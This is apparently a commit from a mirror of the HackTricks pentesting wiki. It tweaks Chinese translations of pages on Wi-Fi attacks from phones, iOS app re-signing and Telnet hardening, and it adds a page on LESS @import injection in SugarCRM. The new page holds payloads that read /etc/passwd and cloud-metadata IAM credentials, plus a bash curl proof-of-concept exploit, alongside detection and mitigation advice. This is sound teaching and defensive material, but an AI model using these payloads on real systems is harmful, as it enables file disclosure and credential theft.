mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-wifi/ena
This commit is contained in:
parent
11c5ad7d50
commit
5b9a9b7f8f
@ -544,6 +544,7 @@
|
||||
|
||||
# 🕸️ Pentesting Web
|
||||
|
||||
- [Less Code Injection Ssrf](pentesting-web/less-code-injection-ssrf.md)
|
||||
- [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md)
|
||||
- [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
|
||||
- [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)
|
||||
|
||||
@ -22,7 +22,7 @@
|
||||
* 提供以下内容的 NexMon Magisk ZIP 或自编译补丁:
|
||||
* `/system/lib*/libnexmon.so`
|
||||
* `/system/xbin/nexutil`
|
||||
* Hijacker ≥ 1.7 (arm/arm64) – https://github.com/chrisk44/Hijacker
|
||||
* Hijacker ≥ 1.7 (arm/arm64) – [https://github.com/chrisk44/Hijacker](https://github.com/chrisk44/Hijacker)
|
||||
* (可选)Kali NetHunter 或任何您打算运行无线工具的 Linux chroot
|
||||
|
||||
---
|
||||
@ -106,7 +106,7 @@ wifite -i wlan0 # 或 aircrack-ng, mdk4 …
|
||||
* 使用 `wifite`、`hcxdumptool`、`airodump-ng` 捕获 WPA(2/3-SAE) 握手或 PMKID。
|
||||
* 注入去认证/断开连接帧以强制客户端重新连接。
|
||||
* 使用 `mdk4`、`aireplay-ng`、Scapy 等构造任意管理/数据帧。
|
||||
* 从手机直接构建恶意 AP 或执行 KARMA/MANA 攻击。
|
||||
* 从手机直接构建流氓 AP 或执行 KARMA/MANA 攻击。
|
||||
|
||||
Galaxy S10 的性能与外部 USB NIC 相当(~20 dBm TX,2-3 M pps RX)。
|
||||
|
||||
|
||||
@ -8,7 +8,7 @@
|
||||
|
||||
然而,这并不像简单地提取 IPA、使用该权限重新签名并将其刷回设备那么简单。这是因为 FairPlay 保护。当应用程序的签名更改时,DRM(数字版权管理)密钥会 **失效,应用程序将无法工作**。
|
||||
|
||||
在旧的越狱设备上,可以安装 IPA,**使用你喜欢的工具进行解密**(例如 Iridium 或 frida-ios-dump),然后将其提取回设备上。尽管如此,如果可能,建议直接向客户端请求解密后的 IPA。
|
||||
在旧的越狱设备上,可以安装 IPA,**使用你喜欢的工具进行解密**(例如 Iridium 或 frida-ios-dump),然后将其提取回设备上。不过,如果可能,建议直接向客户端请求解密后的 IPA。
|
||||
|
||||
## 获取解密的 IPA
|
||||
|
||||
@ -18,7 +18,7 @@
|
||||
2. 在你的 macos 上安装并启动 [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12)
|
||||
3. 在你的 Mac 上打开 `Terminal`,并 cd 到 `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`。稍后 IPA 将出现在此文件夹中。
|
||||
4. 你应该能看到你的 iOS 设备。双击它,然后点击顶部菜单栏中的 Add + → Apps。
|
||||
5. 点击 Add 后,Configurator 将从 Apple 下载 IPA,并尝试将其推送到你的设备。如果你之前遵循我的建议并已安装 IPA,将会出现提示要求你重新安装该应用程序。
|
||||
5. 点击 Add 后,Configurator 将从 Apple 下载 IPA,并尝试将其推送到你的设备。如果你之前遵循我的建议并已安装 IPA,将会出现提示要求你重新安装应用程序。
|
||||
6. IPA 应该下载到 `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`,你可以从那里获取它。
|
||||
|
||||
查看 [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) 以获取有关此过程的更多详细信息。
|
||||
@ -50,9 +50,9 @@ ideviceinstaller -i no-min-version.ipa -w
|
||||
|
||||
为了使用 `get-task-allow` 权限重新签名应用程序,有几种可用的工具,如 `app-signer`、`codesign` 和 `iResign`。`app-signer` 具有非常用户友好的界面,可以非常轻松地重新签名 IPA 文件,指明要重新签名的 IPA、**将其设置为 `get-task-allow`** 以及要使用的证书和配置文件。
|
||||
|
||||
关于证书和签名配置文件,Apple 通过 Xcode 为所有账户提供 **免费的开发者签名配置文件**。只需创建一个应用并配置一个。然后,通过导航到 `Settings` → `Privacy & Security`,配置 **iPhone 以信任开发者应用**,并点击 `Developer Mode`。
|
||||
关于证书和签名配置文件,Apple 通过 Xcode 为所有账户提供 **免费的开发者签名配置文件**。只需创建一个应用并进行配置。然后,通过导航到 `Settings` → `Privacy & Security`,配置 **iPhone 以信任开发者应用**,并点击 `Developer Mode`。
|
||||
|
||||
使用重新签名的 IPA,现在可以将其安装到设备上进行渗透测试:
|
||||
使用重新签名的 IPA,现在可以在设备上安装它以进行渗透测试:
|
||||
```bash
|
||||
ideviceinstaller -i resigned.ipa -w
|
||||
```
|
||||
@ -81,7 +81,7 @@ ideviceinstaller -i resigned.ipa -w
|
||||
|
||||
### Hooking / 动态插桩
|
||||
|
||||
一旦您的应用使用 `get_task_allow` 签名 **并且** 开发者模式开启,您可以像在越狱设备上一样进行 Hook:
|
||||
一旦您的应用使用 `get_task_allow` **并且** 开发者模式开启,您可以像在越狱设备上一样进行 Hook:
|
||||
```bash
|
||||
# Spawn & attach with objection
|
||||
objection -g "com.example.target" explore
|
||||
@ -93,7 +93,7 @@ frida -U -f com.example.target -l my_script.js --no-pause
|
||||
|
||||
### 使用 MobSF 进行自动化动态分析(无越狱)
|
||||
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) 可以使用相同的技术 (`get_task_allow`) 在真实设备上对开发者签名的 IPA 进行插桩,并提供带有文件系统浏览器、流量捕获和 Frida 控制台的 Web UI【†L2-L3】。最快的方法是通过 Docker 运行 MobSF,然后通过 USB 连接你的 iPhone:
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) 可以使用相同的技术(`get_task_allow`)在真实设备上对开发签名的 IPA 进行插桩,并提供带有文件系统浏览器、流量捕获和 Frida 控制台的 Web UI【】。最快的方法是通过 Docker 运行 MobSF,然后通过 USB 连接你的 iPhone:
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf:latest
|
||||
docker run -p 8000:8000 --privileged \
|
||||
@ -106,7 +106,7 @@ MobSF 将自动部署二进制文件,在应用沙箱内启用 Frida 服务器
|
||||
### iOS 17 和锁定模式的注意事项
|
||||
|
||||
* **锁定模式**(设置 → 隐私与安全)阻止动态链接器加载未签名或外部签名的动态库。当测试可能启用此模式的设备时,请确保其 **已禁用**,否则您的 Frida/objection 会话将立即终止。
|
||||
* 指针认证(PAC)在 A12+ 设备上全系统强制执行。Frida ≥16 透明地处理 PAC 去除 — 只需在新的主要 iOS 版本发布时保持 *frida-server* 和 Python/CLI 工具链的最新状态。
|
||||
* 指针认证(PAC)在 A12+ 设备上系统范围内强制执行。Frida ≥16 透明地处理 PAC 去除 — 只需在新的主要 iOS 版本发布时保持 *frida-server* 和 Python/CLI 工具链的最新状态。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
||||
@ -114,7 +114,7 @@ Metasploit 有几个有用的模块:
|
||||
### 加固与检测(蓝队角落)
|
||||
|
||||
1. 优先使用 SSH 并完全禁用 Telnet 服务。
|
||||
2. 如果需要 Telnet,仅将其绑定到管理 VLAN,强制执行 ACL,并使用 TCP 包装器包装守护进程(`/etc/hosts.allow`)。
|
||||
2. 如果需要 Telnet,仅将其绑定到管理 VLAN,强制执行 ACL,并使用 TCP 包装器包装守护进程 (`/etc/hosts.allow`)。
|
||||
3. 用 `ssl-telnet` 或 `telnetd-ssl` 替换遗留的 `telnetd` 实现,以添加传输加密,但 **这仅保护数据在传输中——密码猜测仍然很简单**。
|
||||
4. 监控到 23 端口的出站流量;妥协通常会通过 Telnet 生成反向 shell,以绕过严格的 HTTP 出口过滤器。
|
||||
|
||||
@ -123,4 +123,4 @@ Metasploit 有几个有用的模块:
|
||||
* D-Link 通告 – CVE-2024-45698 关键 Telnet RCE。
|
||||
* NVD – CVE-2022-39028 inetutils `telnetd` DoS。
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
75
src/pentesting-web/less-code-injection-ssrf.md
Normal file
75
src/pentesting-web/less-code-injection-ssrf.md
Normal file
@ -0,0 +1,75 @@
|
||||
# LESS 代码注入导致 SSRF 和本地文件读取
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 概述
|
||||
|
||||
LESS 是一种流行的 CSS 预处理器,添加了变量、混合、函数和强大的 `@import` 指令。在编译过程中,LESS 引擎将 **获取 `@import`** 语句中引用的资源,并在使用 `(inline)` 选项时将其内容嵌入(“内联”)到生成的 CSS 中。
|
||||
|
||||
当一个应用程序将 **用户控制的输入** 连接到一个字符串中,该字符串随后被 LESS 编译器解析时,攻击者可以 **注入任意 LESS 代码**。通过滥用 `@import (inline)`,攻击者可以强制服务器检索:
|
||||
|
||||
* 通过 `file://` 协议的本地文件(信息泄露 / 本地文件包含)。
|
||||
* 内部网络或云元数据服务上的远程资源(SSRF)。
|
||||
|
||||
这种技术已在现实世界的产品中出现,例如 **SugarCRM ≤ 14.0.0**(`/rest/v10/css/preview` 端点)。
|
||||
|
||||
## 利用
|
||||
|
||||
1. 识别一个直接嵌入在 LESS 引擎处理的样式表字符串中的参数(例如,SugarCRM 中的 `?lm=`)。
|
||||
2. 关闭当前语句并注入新指令。最常见的原语是:
|
||||
* `;` – 终止前一个声明。
|
||||
* `}` – 关闭前一个块(如果需要)。
|
||||
3. 使用 `@import (inline) '<URL>';` 读取任意资源。
|
||||
4. 可选地在导入后注入一个 **标记**(`data:` URI),以便于从编译的 CSS 中提取获取的内容。
|
||||
|
||||
### 本地文件读取
|
||||
```
|
||||
1; @import (inline) 'file:///etc/passwd';
|
||||
@import (inline) 'data:text/plain,@@END@@'; //
|
||||
```
|
||||
`/etc/passwd` 的内容将在 HTTP 响应中出现在 `@@END@@` 标记之前。
|
||||
|
||||
### SSRF – Cloud Metadata
|
||||
```
|
||||
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
|
||||
@import (inline) 'data:text/plain,@@END@@'; //
|
||||
```
|
||||
### 自动化 PoC (SugarCRM 示例)
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
|
||||
|
||||
TARGET="$1" # Base URL of SugarCRM instance
|
||||
RESOURCE="$2" # file:// path or URL to fetch
|
||||
|
||||
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
|
||||
|
||||
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
|
||||
sed -n 's/.*@@END@@\(.*\)/\1/p'
|
||||
```
|
||||
## 检测
|
||||
|
||||
* 寻找包含未清理查询参数的动态生成的 `.less` 或 `.css` 响应。
|
||||
* 在代码审查中,搜索传递给 LESS 渲染函数的构造,如 `"@media all { .preview { ... ${userInput} ... } }"`。
|
||||
* 利用尝试通常包括 `@import`、`(inline)`、`file://`、`http://169.254.169.254` 等。
|
||||
|
||||
## 缓解措施
|
||||
|
||||
* **不要** 将不可信的数据传递给 LESS 编译器。
|
||||
* 如果需要动态值,正确地 **转义**/清理它们(例如,限制为数字标记,白名单)。
|
||||
* 尽可能禁用使用 `(inline)` 导入的能力,或将允许的协议限制为 `https`。
|
||||
* 保持依赖项更新 – SugarCRM 在版本 13.0.4 和 14.0.1 中修复了此问题。
|
||||
|
||||
## 现实案例
|
||||
|
||||
| 产品 | 漏洞端点 | 影响 |
|
||||
|---------|--------------------|--------|
|
||||
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | 未认证的 SSRF 和本地文件读取 |
|
||||
|
||||
## 参考
|
||||
|
||||
* [SugarCRM ≤ 14.0.0 (css/preview) LESS 代码注入漏洞](https://karmainsecurity.com/KIS-2025-04)
|
||||
* [SugarCRM 安全咨询 SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
|
||||
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
@ -2,6 +2,12 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
查看 **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
|
||||
检查 **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
|
||||
|
||||
- SugarCRM ≤ 14.0.0 – LESS `@import` 注入在 `/rest/v10/css/preview` 中启用未认证的 SSRF 和本地文件读取。
|
||||
|
||||
{{#ref}}
|
||||
../less-code-injection-ssrf.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user